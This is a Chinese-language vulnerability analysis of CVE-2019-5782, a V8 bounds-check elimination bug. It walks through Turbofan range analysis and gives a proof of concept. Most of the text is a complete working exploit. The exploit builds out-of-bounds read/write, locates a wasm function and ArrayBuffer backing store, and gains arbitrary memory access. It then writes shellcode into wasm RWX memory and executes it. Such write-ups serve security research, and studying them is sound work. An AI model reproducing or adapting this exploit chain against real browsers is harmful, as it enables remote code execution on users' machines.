CVE-2019-5782 v8数组越界漏洞分析与利用
前言
环境搭建
git reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug/
生成Turbolizer文件
./d8 --allow-natives-syntax --trace-turbo poc.js
基础知识
v8 处理优化的各个阶段:
漏洞分析
该漏洞在18年天府杯被使用。
Poc代码:
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for(let i = 0; i < 0x10000; i++)
{
fun(1);
}
res = fun(...a3);
console.log("[+] a2.length: "+ a2.length);
输出:
[+] a2.length: 65535
该poc的效果是越界修改数组a2的length为0xffff。
查看优化的各个阶段,看CheckBounds节点为何被消除:
(1)typed lowering 阶段:
在SpeculativeNumberShiftRight节点上面有一个LoadField节点,在这个优化阶段,编译器无法得到LoadFiled节点的值,所以对NumberShiftRight进行 range analysis 时,会将其范围直接认为是int32的最大和最小值。
range analysis 计算过程如下:
# define INT32_MIN ((int32_t)(-2147483647-1))
# define INT32_MAX ((int32_t)(2147483647))
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}
此时:
min_lhs : -2147483648
max_lhs : 2147483647
min_rhs : 16
max_rhs : 16
NumberShiftRight进行range analysis 后得到的范围为 Range(-32768, 32767)。
(2)escape analysis 阶段还存在CheckBounds节点:
(3)SimplifiedLoweringPhase阶段:
在SimplifiedLoweringPhase阶段会对SpeculativeNumberShiftRight的范围再次计算,用于消除CheckBounds:
再次进行range analysis:
# define INT32_MIN ((int32_t)(-2147483647-1))
# define INT32_MAX ((int32_t)(2147483647))
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}
此时:
min_lhs : 0
max_lhs : 65534
min_rhs : 16
max_rhs : 16
计算得到NumberShiftRight的范围为:Range(0,0)。该结果作为数组的index,最终在VisitCheckBounds中会比较该范围和数组最大的长度,如果index恒小于数组的length,那么就会将其remove。
VisitCheckBounds函数实现如下:
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
漏洞利用
越界读写的常规思路:
(1)利用poc代码造成越界读写,在越界读写后面布置float类型的数组,越界修改float数组的length
(2)此时float数组就可以进行越界读写,根据mark查找wasm_function对象的地址
(3)根据data_buf的大小查找data_buf->backing_store,用于构造任意读写原语
(4)根据wasm_function–>shared_info–>WasmExportedFunctionData(data)–>instance+0xe8 找到rwx的区域,将shellcode写入该区域即可。
exp 代码:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
float64[0] = f;
let tmp = Array.from(Uint32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i2f(i)
{
let tmp = [];
tmp[0] = parseInt(i % 0x100000000);
tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
Uint32.set(tmp);
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;
var oob_array;
var obj = [];
var data_buf;
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
oob_array = new Array(0x10);
oob_array[0] = 1.1;
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for(let i = 0; i < 0x10000; i++){
fun(1);
}
res = fun(...a3);
obj = {mark: i2f(0xdeadbeef), obj: wasm_function};
data_buf = new ArrayBuffer(0x233);
console.log("[+] oob_array.length: 0x" + hex(oob_array.length));
//---------find wasm_function
//%DebugPrint(wasm_function);
var wasm_obj_idx = 0;
for(let i=0; i < 0x400; i++)
{
if(f2i(oob_array[i]) == 0xdeadbeef){
wasm_obj_idx = i + 1;
console.log("[+] find wasm_function obj : 0x" + hex(f2i(oob_array[wasm_obj_idx])));
break;
}
}
//------ find backing_store
var data_view = new DataView(data_buf);
var array_buffer_idx = 0;
for(let i=0; i < 0x1000; i++)
{
if(f2i(oob_array[i]) == 0x233){
array_buffer_idx = i + 1;
console.log("[+] find data_buf backing_store : 0x" + hex(f2i(oob_array[array_buffer_idx])));
break;
}
}
//----- arbitrary read
function dataview_read64(addr)
{
oob_array[array_buffer_idx] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
oob_array[array_buffer_idx] = i2f(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
//----- get wasm_code by AAR
var wasm_function_addr = f2i(oob_array[wasm_obj_idx]);
console.log("[+] wasm_function_addr: 0x"+hex(wasm_function_addr));
var wasm_shared_info = dataview_read64(wasm_function_addr -1 + 0x18);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));
var wasm_data = dataview_read64(wasm_shared_info -1 + 0x8);
console.log("[+] find wasm_data : 0x" + hex(wasm_data));
var wasm_instance = dataview_read64(wasm_data -1 + 0x10);
console.log("[+] find wasm_instance : 0x" + hex(wasm_instance));
var wasm_rwx = dataview_read64(wasm_instance - 1 + 0xe8);
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));
//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
dataview_write(wasm_rwx, shellcode);
wasm_function();
运行效果图:
相关补丁
参考链接
https://www.sunxiaokong.xyz/2020-02-25/lzx-cve-2019-5782/
https://bugs.chromium.org/p/chromium/issues/detail?id=906043
https://de4dcr0w.github.io/35c3ctf-Krautflare%E5%88%86%E6%9E%90.html
https://xz.aliyun.com/t/5712
补丁:https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04%5E!
在线浮点数转换:
http://www.binaryconvert.com/convert_double.html#
https://github.com/vngkv123/aSiagaming/tree/master/Chrome-v8-906043